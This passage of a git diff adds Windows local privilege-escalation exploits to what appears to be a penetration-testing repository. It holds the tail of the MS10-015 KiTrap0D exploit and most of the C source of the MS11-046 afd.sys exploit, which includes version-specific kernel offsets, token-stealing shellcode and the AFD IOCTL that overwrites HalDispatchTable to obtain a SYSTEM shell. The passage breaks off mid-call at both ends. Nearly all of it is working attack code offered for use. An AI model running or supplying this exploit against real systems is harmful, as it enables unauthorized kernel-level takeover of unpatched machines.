EFLAGS_TF_MASK;+ *NtCurrentTeb()->Reserved4 = &VdmTib;++ // Trigger the vulnerable code via NtVdmControl().+ while (VdmTib.Size++ < MaximumExpectedVdmTibSize)+ NtVdmControl(VdmStartExecution, NULL);++ // Unable to find correct VdmTib size.+ ExitThread('VTIB');+}++// Setup a minimal execution environment to satisfy NtVdmControl().+BOOL InitializeVdmSubsystem()+{+ FARPROC NtAllocateVirtualMemory;+ FARPROC NtFreeVirtualMemory;+ FARPROC NtVdmControl;+ PBYTE BaseAddress;+ ULONG RegionSize;+ static DWORD TrapHandler[128];+ static DWORD IcaUserData[128];+ static struct {+ PVOID TrapHandler;+ PVOID IcaUserData;+ } InitData;++ NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");+ NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");+ NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");+ BaseAddress = (PVOID) 0x00000001;+ RegionSize = (ULONG) 0x00000000;+ InitData.TrapHandler = TrapHandler;+ InitData.IcaUserData = IcaUserData;++ // Remove anything currently mapped at NULL+ NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);++ BaseAddress = (PVOID) 0x00000001;+ RegionSize = (ULONG) 0x00100000;++ // Allocate the 1MB virtual 8086 address space.+ if (NtAllocateVirtualMemory(GetCurrentProcess(),+ &BaseAddress,+ 0,+ &RegionSize,+ MEM_COMMIT | MEM_RESERVE,+ PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {+ ExitThread('NTAV');+ return FALSE;+ }++ // Finalise the initialisation.+ if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {+ ExitThread('VDMC');+ return FALSE;+ }++ return TRUE;+}diff --git a/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/vdmexploit.dll b/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/vdmexploit.dllnew file mode 100644index 0000000..67d9e64Binary files /dev/null and b/Penetration Testing/exploits/windows/privs/MS10-015-KiTrap0D/vdmexploit.dll differdiff --git a/Penetration Testing/exploits/windows/privs/MS11-046/README.md b/Penetration Testing/exploits/windows/privs/MS11-046/README.mdnew file mode 100644index 0000000..08eb0ad--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/MS11-046/README.md@@ -0,0 +1,14 @@+Microsoft Windows (x86) - 'afd.sys' Privilege Escalation (MS11-046)+===================================================================++EDB-ID: 40564</br>+Author: Tomislav Paskalev</br>+Published: 2016-10-18</br>+CVE: CVE-2011-1249</br>+Type: Local</br>+Platform: Windows x86 x64</br>+Link: <https://www.exploit-db.com/exploits/40564/></br>+</br>++- Compilation (Kali Linux)</br>+i686-w64-mingw32-gcc -o ms11-046.exe ms11-046.c -lws2_32</br>diff --git a/Penetration Testing/exploits/windows/privs/MS11-046/ms11-046.c b/Penetration Testing/exploits/windows/privs/MS11-046/ms11-046.cnew file mode 100644index 0000000..9bf91f9--- /dev/null+++ b/Penetration Testing/exploits/windows/privs/MS11-046/ms11-046.c@@ -0,0 +1,810 @@+/*+################################################################+# Exploit Title: Windows x86 (all versions) AFD privilege escalation (MS11-046)+# Date: 2016-10-16+# Exploit Author: Tomislav Paskalev+# Vulnerable Software:+# Windows XP SP3 x86+# Windows XP Pro SP2 x64+# Windows Server 2003 SP2 x86+# Windows Server 2003 SP2 x64+# Windows Server 2003 SP2 Itanium-based Systems+# Windows Vista SP1 x86+# Windows Vista SP2 x86+# Windows Vista SP1 x64+# Windows Vista SP2 x64+# Windows Server 2008 x86+# Windows Server 2008 SP2 x86+# Windows Server 2008 x64+# Windows Server 2008 SP2 x64+# Windows Server 2008 Itanium-based Systems+# Windows Server 2008 SP2 Itanium-based Systems+# Windows 7 x86+# Windows 7 SP1 x86+# Windows 7 x64+# Windows 7 SP1 x64+# Windows Server 2008 R2 x64+# Windows Server 2008 R2 SP1 x64+# Windows Server 2008 R2 Itanium-based Systems+# Windows Server 2008 R2 SP1 Itanium-based Systems+# Supported Vulnerable Software:+# Windows XP SP3 x86+# Windows Server 2003 SP2 x86+# Windows Vista SP1 x86+# Windows Vista SP2 x86+# Windows Server 2008 x86+# Windows Server 2008 SP2 x86+# Windows 7 x86+# Windows 7 SP1 x86+# Tested Software:+# Windows XP Pro SP3 x86 EN [5.1.2600]+# Windows Server 2003 Ent SP2 EN [5.2.3790]+# Windows Vista Ult SP1 x86 EN [6.0.6001]+# Windows Vista Ult SP2 x86 EN [6.0.6002]+# Windows Server 2008 Dat SP1 x86 EN [6.0.6001]+# Windows Server 2008 Ent SP2 x86 EN [6.0.6002]+# Windows 7 HB x86 EN [6.1.7600]+# Windows 7 Ent SP1 x86 EN [6.1.7601]+# CVE ID: 2011-1249+################################################################+# Vulnerability description:+# The Ancillary Function Driver (AFD) supports Windows sockets+# applications and is contained in the afd.sys file. The afd.sys+# driver runs in kernel mode and manages the Winsock TCP/IP+# communications protocol.+# An elevation of privilege vulnerability exists where the AFD+# improperly validates input passed from user mode to the kernel.+# An attacker must have valid logon credentials and be able to+# log on locally to exploit the vulnerability.+# An attacker who successfully exploited this vulnerability could+# run arbitrary code in kernel mode (i.e. with NT AUTHORITY\SYSTEM+# privileges).+################################################################+# Exploit notes:+# Privileged shell execution:+# - the SYSTEM shell will spawn within the invoking shell/process+# Exploit compiling (Kali GNU/Linux Rolling 64-bit):+# - # i686-w64-mingw32-gcc MS11-046.c -o MS11-046.exe -lws2_32+# Exploit prerequisites:+# - low privilege access to the target OS+# - target OS not patched (KB2503665, or any other related+# patch, if applicable, not installed - check "Related security+# vulnerabilities/patches")+# Exploit test notes:+# - let the target OS boot properly (if applicable)+# - Windows 7 (SP0 and SP1) will BSOD on shutdown/reset+################################################################+# Patches:+# Windows XP SP3 x86+# WindowsXP-KB2503665-x86-enu.exe+# (not available - EoL)+# Windows Server 2003 SP2 x86+# WindowsServer2003-KB2503665-x86-enu.exe+# https://www.microsoft.com/en-us/download/details.aspx?id=26483+# Windows Vista SP1, SP2 x86; Windows Server 2008 (SP1), SP2 x86+# Windows6.0-KB2503665-x86.msu+# https://www.microsoft.com/en-us/download/details.aspx?id=26275+# Windows 7 (SP0), SP1 x86+# Windows6.1-KB2503665-x86.msu+# https://www.microsoft.com/en-us/download/details.aspx?id=26311+################################################################+# Related security vulnerabilities/patches:+# MS11-046 KB2503665 https://technet.microsoft.com/en-us/library/security/ms11-046.aspx+# MS11-080 KB2592799 https://technet.microsoft.com/en-us/library/security/ms11-080.aspx+# MS12-009 KB2645640 https://technet.microsoft.com/en-us/library/security/ms12-009.aspx+# MS13-093 KB2875783 https://technet.microsoft.com/en-us/library/security/ms13-093.aspx+# MS14-040 KB2975684 https://technet.microsoft.com/en-us/library/security/ms14-040.aspx+#+# Table of patch replacements:+# | MS11-046 | MS11-080 | MS12-009 | MS13-093 | MS14-040 |+# -------------------------------------------------------------+# | KB2503665 | KB2592799 | KB2645640 | KB2875783 | KB2975684 |+# -----------------------------------------------------------------------------------------+# Windows x86 XP SP3 | Installed | <-Replaces| - | - | - |+# Windows x86 Server 2003 SP2 | Installed | <-Replaces| <-Replaces| - | <-Replaces|+# Windows x86 Vista SP1 | Installed | - | - | - | - |+# Windows x86 Vista SP2 | Installed | - | - | - | <-Replaces|+# Windows x86 Server 2008 | Installed | - | - | - | - |+# Windows x86 Server 2008 SP2 | Installed | - | - | - | <-Replaces|+# Windows x86 7 | Installed | - | - | - | - |+# Windows x86 7 SP1 | Installed | - | - | - | <-Replaces|+################################################################+# Thanks to:+# azy (XP, 2k3 exploit)+# Rahul Sasi (PoC)+################################################################+# References:+# https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-1249+# https://technet.microsoft.com/en-us/library/security/ms11-046.aspx+# http://web.qhwins.com/Security/2012021712023641874126.html+# https://www.exploit-db.com/exploits/18755/+################################################################+*/+++#include <winsock2.h>+#include <windows.h>+#include <stdio.h>+#include <ws2tcpip.h>++#pragma comment (lib, "ws2_32.lib")+++////////////////////////////////////////////////////////////////+// DEFINE DATA TYPES+////////////////////////////////////////////////////////////////++typedef enum _KPROFILE_SOURCE {+ ProfileTime,+ ProfileAlignmentFixup,+ ProfileTotalIssues,+ ProfilePipelineDry,+ ProfileLoadInstructions,+ ProfilePipelineFrozen,+ ProfileBranchInstructions,+ ProfileTotalNonissues,+ ProfileDcacheMisses,+ ProfileIcacheMisses,+ ProfileCacheMisses,+ ProfileBranchMispredictions,+ ProfileStoreInstructions,+ ProfileFpInstructions,+ ProfileIntegerInstructions,+ Profile2Issue,+ Profile3Issue,+ Profile4Issue,+ ProfileSpecialInstructions,+ ProfileTotalCycles,+ ProfileIcacheIssues,+ ProfileDcacheAccesses,+ ProfileMemoryBarrierCycles,+ ProfileLoadLinkedIssues,+ ProfileMaximum+} KPROFILE_SOURCE, *PKPROFILE_SOURCE;+++typedef DWORD (WINAPI *PNTQUERYINTERVAL) (+ KPROFILE_SOURCE ProfileSource,+ PULONG Interval+);+++typedef LONG NTSTATUS;+++typedef NTSTATUS (WINAPI *PNTALLOCATE) (+ HANDLE ProcessHandle,+ PVOID *BaseAddress,+ ULONG ZeroBits,+ PULONG RegionSize,+ ULONG AllocationType,+ ULONG Protect+);+++typedef struct _IO_STATUS_BLOCK {+ union {+ NTSTATUS Status;+ PVOID Pointer;+ };+ ULONG_PTR Information;+} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;+++typedef struct _SYSTEM_MODULE_INFORMATION {+ ULONG Reserved[2];+ PVOID Base;+ ULONG Size;+ ULONG Flags;+ USHORT Index;+ USHORT Unknown;+ USHORT LoadCount;+ USHORT ModuleNameOffset;+ CHAR ImageName[256];+} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;+++typedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);+++////////////////////////////////////////////////////////////////+// FUNCTIONS+////////////////////////////////////////////////////////////////++BOOL IsWow64()+{+ BOOL bIsWow64 = FALSE;+ LPFN_ISWOW64PROCESS fnIsWow64Process;++ fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(GetModuleHandle(TEXT("kernel32")), "IsWow64Process");++ if(NULL != fnIsWow64Process)+ {+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms684139(v=vs.85).aspx+ if (!fnIsWow64Process(GetCurrentProcess(), &bIsWow64))+ {+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx+ printf(" [-] Failed (error code: %d)\n", GetLastError());+ return -1;+ }+ }+ return bIsWow64;+}+++////////////////////////////////////////////////////////////////+// MAIN FUNCTION+////////////////////////////////////////////////////////////////++int main(void)+{+ printf("[*] MS11-046 (CVE-2011-1249) x86 exploit\n");+ printf(" [*] by Tomislav Paskalev\n");+++ ////////////////////////////////////////////////////////////////+ // IDENTIFY TARGET OS ARCHITECTURE AND VERSION+ ////////////////////////////////////////////////////////////////++ printf("[*] Identifying OS\n");+++ // identify target machine's OS architecture+ // in case the target machine is running a 64-bit OS+ if(IsWow64())+ {+ printf(" [-] 64-bit\n");+ return -1;+ }++ printf(" [+] 32-bit\n");+++ // identify target machine's OS version+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724451(v=vs.85).aspx+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724833(v=vs.85).aspx+ OSVERSIONINFOEX osvi;+ ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));+ osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);+ GetVersionEx((LPOSVERSIONINFO) &osvi);++ // define operating system version specific variables+ unsigned char shellcode_KPROCESS;+ unsigned char shellcode_TOKEN;+ unsigned char shellcode_UPID;+ unsigned char shellcode_APLINKS;+ const char **securityPatchesPtr;+ int securityPatchesCount;+ int lpInBufferSize;++ ////////////////////////////////////////////////////////////////+ /*+ OS VERSION SPECIFIC OFFSETS++ references:+ http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/original.htm+ http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/late52.htm+ http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/kthread/current.htm+ http://www.geoffchappell.com/studies/windows/km/ntoskrnl/structs/eprocess/+++ - nt!_KTHREAD.ApcState.Process (+0x10)+ 0x30 (3.51);+ 0x34 (>3.51 to 5.1);+ 0x28 (late 5.2);+ 0x38 (6.0);+ 0x40 (6.1);+ 0x70 (6.2 and higher)++ - nt!_EPROCESS.Token+ 0x0108 (3.51 to 4.0);+ 0x012C (5.0);+ 0xC8 (5.1 to early 5.2);+ 0xD8 (late 5.2);+ 0xE0 (6.0);+ 0xF8 (6.1);+ 0xEC (6.2 to 6.3);+ 0xF4++ - nt!_EPROCESS.UniqueProcessId+ 0x94 (3.51 to 4.0);+ 0x9C (5.0);+ 0x84 (5.1 to early 5.2);+ 0x94 (late 5.2);+ 0x9C (6.0);+ 0xB4++ - nt!_EPROCESS.ActiveProcessLinks.Flink+ 0x98 (3.51 to 4.0);+ 0xA0 (5.0);+ 0x88 (5.1 to early 5.2);+ 0x98 (late 5.2);+ 0xA0 (6.0);+ 0xB8++ */+ ////////////////////////////////////////////////////////////////++ // in case the OS version is 5.1, service pack 3+ if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 3))+ {+ // the target machine's OS is Windows XP SP3+ printf(" [+] Windows XP SP3\n");+ shellcode_KPROCESS = '\x44';+ shellcode_TOKEN = '\xC8';+ shellcode_UPID = '\x84';+ shellcode_APLINKS = '\x88';+ const char *securityPatches[] = {"KB2503665", "KB2592799"};+ securityPatchesPtr = securityPatches;+ securityPatchesCount = 2;+ lpInBufferSize = 0x30;+ }++ // in case the OS version is 5.2, service pack 2, not R2+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms724385(v=vs.85).aspx+ else if((osvi.dwMajorVersion == 5) && (osvi.dwMinorVersion == 2) && (osvi.wServicePackMajor == 2) && (GetSystemMetrics(89) == 0))+ {+ // the target machine's OS is Windows Server 2003 SP2+ printf(" [+] Windows Server 2003 SP2\n");+ shellcode_KPROCESS = '\x38';+ shellcode_TOKEN = '\xD8';+ shellcode_UPID = '\x94';+ shellcode_APLINKS = '\x98';+ const char *securityPatches[] = {"KB2503665", "KB2592799", "KB2645640", "KB2975684"};+ securityPatchesPtr = securityPatches;+ securityPatchesCount = 4;+ lpInBufferSize = 0x30;+ }++ // in case the OS version is 6.0, service pack 1, workstation+ else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType == 1))+ {+ // the target machine's OS is Windows Vista SP1+ printf(" [+] Windows Vista SP1\n");+ shellcode_KPROCESS = '\x48';+ shellcode_TOKEN = '\xE0';+ shellcode_UPID = '\x9C';+ shellcode_APLINKS = '\xA0';+ const char *securityPatches[] = {"KB2503665"};+ securityPatchesPtr = securityPatches;+ securityPatchesCount = 1;+ lpInBufferSize = 0x30;+ }++ // in case the OS version is 6.0, service pack 2, workstation+ else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType == 1))+ {+ // the target machine's OS is Windows Vista SP2+ printf(" [+] Windows Vista SP2\n");+ shellcode_KPROCESS = '\x48';+ shellcode_TOKEN = '\xE0';+ shellcode_UPID = '\x9C';+ shellcode_APLINKS = '\xA0';+ const char *securityPatches[] = {"KB2503665", "KB2975684"};+ securityPatchesPtr = securityPatches;+ securityPatchesCount = 2;+ lpInBufferSize = 0x10;+ }++ // in case the OS version is 6.0, no service pack*, server+ // *Because Windows Server 2008 is based on the Windows NT 6.0 Service Pack 1 kernel, the RTM release is considered to be Service Pack 1;+ // accordingly, the first service pack is called Service Pack 2.+ // https://en.wikipedia.org/wiki/Windows_Server_2008+ else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 1) && (osvi.wProductType != 1))+ {+ // the target machine's OS is Windows Server 2008+ printf(" [+] Windows Server 2008\n");+ shellcode_KPROCESS = '\x48';+ shellcode_TOKEN = '\xE0';+ shellcode_UPID = '\x9C';+ shellcode_APLINKS = '\xA0';+ const char *securityPatches[] = {"KB2503665"};+ securityPatchesPtr = securityPatches;+ securityPatchesCount = 1;+ lpInBufferSize = 0x10;+ }++ // in case the OS version is 6.0, service pack 2, server+ else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 0) && (osvi.wServicePackMajor == 2) && (osvi.wProductType != 1))+ {+ // the target machine's OS is Windows Server 2008 SP2+ printf(" [+] Windows Server 2008 SP2\n");+ shellcode_KPROCESS = '\x48';+ shellcode_TOKEN = '\xE0';+ shellcode_UPID = '\x9C';+ shellcode_APLINKS = '\xA0';+ const char *securityPatches[] = {"KB2503665", "KB2975684"};+ securityPatchesPtr = securityPatches;+ securityPatchesCount = 2;+ lpInBufferSize = 0x08;+ }++ // in case the OS version is 6.1, no service pack (note: Windows Server 2008 R2 is 64-bit only)+ else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 0))+ {+ // the target machine's OS is Windows 7+ printf(" [+] Windows 7\n");+ shellcode_KPROCESS = '\x50';+ shellcode_TOKEN = '\xF8';+ shellcode_UPID = '\xB4';+ shellcode_APLINKS = '\xB8';+ const char *securityPatches[] = {"KB2503665"};+ securityPatchesPtr = securityPatches;+ securityPatchesCount = 1;+ lpInBufferSize = 0x20;+ }++ // in case the OS version is 6.1, service pack 1 (note: Windows Server 2008 R2 is 64-bit only)+ else if((osvi.dwMajorVersion == 6) && (osvi.dwMinorVersion == 1) && (osvi.wServicePackMajor == 1))+ {+ // the target machine's OS is Windows 7 SP1+ printf(" [+] Windows 7 SP1\n");+ shellcode_KPROCESS = '\x50';+ shellcode_TOKEN = '\xF8';+ shellcode_UPID = '\xB4';+ shellcode_APLINKS = '\xB8';+ const char *securityPatches[] = {"KB2503665", "KB2975684"};+ securityPatchesPtr = securityPatches;+ securityPatchesCount = 2;+ lpInBufferSize = 0x10;+ }++ // in case the OS version is not any of the previously checked versions+ else+ {+ // the target machine's OS is an unsupported 32-bit Windows version+ printf(" [-] Unsupported version\n");+ printf(" [*] Affected 32-bit operating systems\n");+ printf(" [*] Windows XP SP3\n");+ printf(" [*] Windows Server 2003 SP2\n");+ printf(" [*] Windows Vista SP1\n");+ printf(" [*] Windows Vista SP2\n");+ printf(" [*] Windows Server 2008\n");+ printf(" [*] Windows Server 2008 SP2\n");+ printf(" [*] Windows 7\n");+ printf(" [*] Windows 7 SP1\n");+ return -1;+ }+++ ////////////////////////////////////////////////////////////////+ // LOCATE REQUIRED OS COMPONENTS+ ////////////////////////////////////////////////////////////////++ printf("[*] Locating required OS components\n");+++ // retrieve system information+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms725506(v=vs.85).aspx+ // locate "ZwQuerySystemInformation" in the "ntdll.dll" module+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx+ FARPROC ZwQuerySystemInformation;+ ZwQuerySystemInformation = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwQuerySystemInformation");++ // 11 = SystemModuleInformation+ // http://winformx.florian-rappl.de/html/e6d5d5c1-8d83-199b-004f-8767439c70eb.htm+ ULONG systemInformation;+ ZwQuerySystemInformation(11, (PVOID) &systemInformation, 0, &systemInformation);++ // allocate memory for the list of loaded modules+ ULONG *systemInformationBuffer;+ systemInformationBuffer = (ULONG *) malloc(systemInformation * sizeof(*systemInformationBuffer));++ if(!systemInformationBuffer)+ {+ printf(" [-] Could not allocate memory");+ return -1;+ }+++ // retrieve the list of loaded modules+ ZwQuerySystemInformation(11, systemInformationBuffer, systemInformation * sizeof(*systemInformationBuffer), NULL);++ // locate "ntkrnlpa.exe" or "ntoskrnl.exe" in the retrieved list of loaded modules+ ULONG i;+ PVOID targetKrnlMdlBaseAddr;+ HMODULE targetKrnlMdlUsrSpcOffs;+ BOOL foundModule = FALSE;+ PSYSTEM_MODULE_INFORMATION loadedMdlStructPtr;+ loadedMdlStructPtr = (PSYSTEM_MODULE_INFORMATION) (systemInformationBuffer + 1);++ for(i = 0; i < *systemInformationBuffer; i++)+ {+ if(strstr(loadedMdlStructPtr[i].ImageName, "ntkrnlpa.exe"))+ {+ printf(" [+] ntkrnlpa.exe\n");+ targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntkrnlpa.exe", 0, 1);+ targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;+ foundModule = TRUE;+ break;+ }+ else if(strstr(loadedMdlStructPtr[i].ImageName, "ntoskrnl.exe"))+ {+ printf(" [+] ntoskrnl.exe\n");+ targetKrnlMdlUsrSpcOffs = LoadLibraryExA("ntoskrnl.exe", 0, 1);+ targetKrnlMdlBaseAddr = loadedMdlStructPtr[i].Base;+ foundModule = TRUE;+ break;+ }+ }++ // base address of the loaded module (kernel space)+ printf(" [*] Address: %#010x\n", targetKrnlMdlBaseAddr);++ // offset address (relative to the parent process) of the loaded module (user space)+ printf(" [*] Offset: %#010x\n", targetKrnlMdlUsrSpcOffs);++ if(!foundModule)+ {+ printf(" [-] Could not find ntkrnlpa.exe/ntoskrnl.exe\n");+ return -1;+ }++ // free allocated buffer space+ free(systemInformationBuffer);+++ // determine the address of the "HalDispatchTable" process (kernel space)+ // locate the offset fo the "HalDispatchTable" process within the target module (user space)+ ULONG_PTR HalDispatchTableUsrSpcOffs;+ HalDispatchTableUsrSpcOffs = (ULONG_PTR) GetProcAddress(targetKrnlMdlUsrSpcOffs, "HalDispatchTable");++ if(!HalDispatchTableUsrSpcOffs)+ {+ printf(" [-] Could not find HalDispatchTable\n");+ return -1;+ }++ printf(" [+] HalDispatchTable\n");+ printf(" [*] Offset: %#010x\n", HalDispatchTableUsrSpcOffs);++ // calculate the address of "HalDispatchTable" in kernel space+ // 1. identify the base address of the target module in kernel space+ // 2. previous step's result [minus] the load address of the same module in user space+ // 3. previous step's result [plus] the address of "HalDispatchTable" in user space+ // EQUIVALENT TO:+ // 1. determine RVA of HalDispatchTable+ // *Relative Virtual Address - the address of an item after it is loaded into memory, with the base address of the image file subtracted from it.+ // 2. previous step's result [plus] base address of target module in kernel space+ ULONG_PTR HalDispatchTableKrnlSpcAddr;+ HalDispatchTableKrnlSpcAddr = HalDispatchTableUsrSpcOffs - (ULONG_PTR) targetKrnlMdlUsrSpcOffs;+ HalDispatchTableKrnlSpcAddr += (ULONG_PTR) targetKrnlMdlBaseAddr;+++ // locate "NtQueryIntervalProfile" in the "ntdll.dll" module+ PNTQUERYINTERVAL NtQueryIntervalProfile;+ NtQueryIntervalProfile = (PNTQUERYINTERVAL) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");++ if(!NtQueryIntervalProfile)+ {+ printf(" [-] Could not find NtQueryIntervalProfile\n");+ return -1;+ }++ printf(" [+] NtQueryIntervalProfile\n");+ printf(" [*] Address: %#010x\n", NtQueryIntervalProfile);+++ // locate "ZwDeviceIoControlFile" routine in the "ntdll.dll" module+ // https://msdn.microsoft.com/en-us/library/windows/hardware/ff566441(v=vs.85).aspx+ FARPROC ZwDeviceIoControlFile;+ ZwDeviceIoControlFile = GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwDeviceIoControlFile");++ if(!ZwDeviceIoControlFile)+ {+ printf(" [-] Could not find ZwDeviceIoControlFile\n");+ return -1;+ }++ printf(" [+] ZwDeviceIoControlFile\n");+ printf(" [*] Address: %#010x\n", ZwDeviceIoControlFile);+++ ////////////////////////////////////////////////////////////////+ // SETUP EXPLOITATION PREREQUISITE+ ////////////////////////////////////////////////////////////////++ printf("[*] Setting up exploitation prerequisite\n");+++ // initialize Winsock DLL+ printf (" [*] Initialising Winsock DLL\n");+ WORD wVersionRequested;+ WSADATA wsaData;+ int wsaStartupErrorCode;++ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms632663(v=vs.85).aspx+ wVersionRequested = MAKEWORD(2, 2);++ // initiate the use of the Winsock DLL+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms742213(v=vs.85).aspx+ wsaStartupErrorCode = WSAStartup(wVersionRequested, &wsaData);++ if(wsaStartupErrorCode != 0)+ {+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx+ printf(" [-] Failed (error code: %d)\n", wsaStartupErrorCode);+ return -1;+ }++ printf(" [+] Done\n");+++ // create socket+ printf(" [*] Creating socket\n");+ SOCKET targetDeviceSocket = INVALID_SOCKET;++ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms742212(v=vs.85).aspx+ targetDeviceSocket = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);++ if(targetDeviceSocket == INVALID_SOCKET)+ {+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx+ printf(" [-] Failed (error code: %ld)\n", WSAGetLastError());+ return -1;+ }++ printf(" [+] Done\n");+++ // connect to a closed port+ // connect to port 0 on the local machine+ struct sockaddr_in clientService;+ clientService.sin_family = AF_INET;+ clientService.sin_addr.s_addr = inet_addr("127.0.0.1");+ clientService.sin_port = htons(0);++ printf(" [*] Connecting to closed port\n");+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms737625(v=vs.85).aspx+ int connectResult;+ connectResult = connect(targetDeviceSocket, (SOCKADDR *) &clientService, sizeof(clientService));+ if (connectResult == 0)+ {+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx+ printf (" [-] Connected (error code: %ld)\n", WSAGetLastError());+ return -1;+ }++ printf(" [+] Done\n");+++ ////////////////////////////////////////////////////////////////+ // CREATE TOKEN STEALING SHELLCODE+ ////////////////////////////////////////////////////////////////++ printf("[*] Creating token stealing shellcode\n");+++ // construct the token stealing shellcode+ unsigned char shellcode[] =+ {+ 0x52, // PUSH EDX Save EDX on the stack (save context)+ 0x53, // PUSH EBX Save EBX on the stack (save context)+ 0x33,0xC0, // XOR EAX, EAX Zero out EAX (EAX = 0)+ 0x64,0x8B,0x80,0x24,0x01,0x00,0x00, // MOV EAX, FS:[EAX+0x124] Retrieve current _KTHREAD structure+ 0x8B,0x40,shellcode_KPROCESS, // MOV EAX, [EAX+_KPROCESS] Retrieve _EPROCESS structure+ 0x8B,0xC8, // MOV ECX, EAX Copy EAX (_EPROCESS) to ECX+ 0x8B,0x98,shellcode_TOKEN,0x00,0x00,0x00, // MOV EBX, [EAX+_TOKEN] Retrieve current _TOKEN+ 0x8B,0x80,shellcode_APLINKS,0x00,0x00,0x00, // MOV EAX, [EAX+_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks+ 0x81,0xE8,shellcode_APLINKS,0x00,0x00,0x00, // SUB EAX, _APLINKS | Retrieve EPROCESS from ActiveProcessLinks+ 0x81,0xB8,shellcode_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // CMP [EAX+_UPID], 0x4 | Compare UniqueProcessId with 4 (System Process)+ 0x75,0xE8, // JNZ/JNE ---- Jump if not zero/not equal+ 0x8B,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV EDX, [EAX+_TOKEN] Copy SYSTEM _TOKEN to EDX+ 0x8B,0xC1, // MOV EAX, ECX Copy ECX (current process _TOKEN) to EAX+ 0x89,0x90,shellcode_TOKEN,0x00,0x00,0x00, // MOV [EAX+_TOKEN], EDX Copy SYSTEM _TOKEN to current process _TOKEN+ 0x5B, // POP EBX Pop current stack value to EBX (restore context)+ 0x5A, // POP EDX Pop current stack value to EDX (restore context)+ 0xC2,0x08 // RET 8 Return+ };++ printf(" [*] Shellcode assembled\n");+++ // allocate memory (RWE permissions) for the shellcode+ printf(" [*] Allocating memory\n");+ LPVOID shellcodeAddress;+ shellcodeAddress = VirtualAlloc((PVOID) 0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);+ int errorCode = 0;++ if(shellcodeAddress == NULL)+ {+ // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx+ errorCode = GetLastError();+ // in case of ERROR_INVALID_ADDRESS+ if(errorCode == 487)+ {+ // Attempt to access invalid address+ // occurs since a fixed address is being reserved+ // http://stackoverflow.com/questions/21368429/error-code-487-error-invalid-address-when-using-virtualallocex+ printf(" [!] Could not reserve entire range\n");+ printf(" [*] Rerun exploit\n");+ }+ // in case of any other error+ else+ printf(" [-] Failed (error code: %d)\n", errorCode);+ return -1;+ }++ printf(" [+] Address: %#010x\n", shellcodeAddress);+++ // copy the shellcode to the allocated memory+ memset(shellcodeAddress, 0x90, 0x20000);+ memcpy((shellcodeAddress + 0x10000), shellcode, sizeof(shellcode));+ printf(" [*] Shellcode copied\n");+++ ////////////////////////////////////////////////////////////////+ // EXPLOIT THE VULNERABILITY+ ////////////////////////////////////////////////////////////////++ printf("[*] Exploiting vulnerability\n");+++ // send AFD socket connect request+ printf(" [*] Sending AFD socket connect request\n");+ DWORD lpInBuffer[lpInBufferSize];+ memset(lpInBuffer, 0, (lpInBufferSize * sizeof(DWORD)));++ lpInBuffer[3] = 0x01;+ lpInBuffer[4] = 0x20;+ ULONG lpBytesReturned = 0;++ if(DeviceIoControl(+ (HANDLE) targetDeviceSocket,+ 0x00012007, // IOCTL_AFD_CONNECT+ (PVOID) lpInBuffer, sizeof(lpInBuffer),+ (PVOID) (HalDispatchTableKrnlSpcAddr + 0x6), 0x0,+ 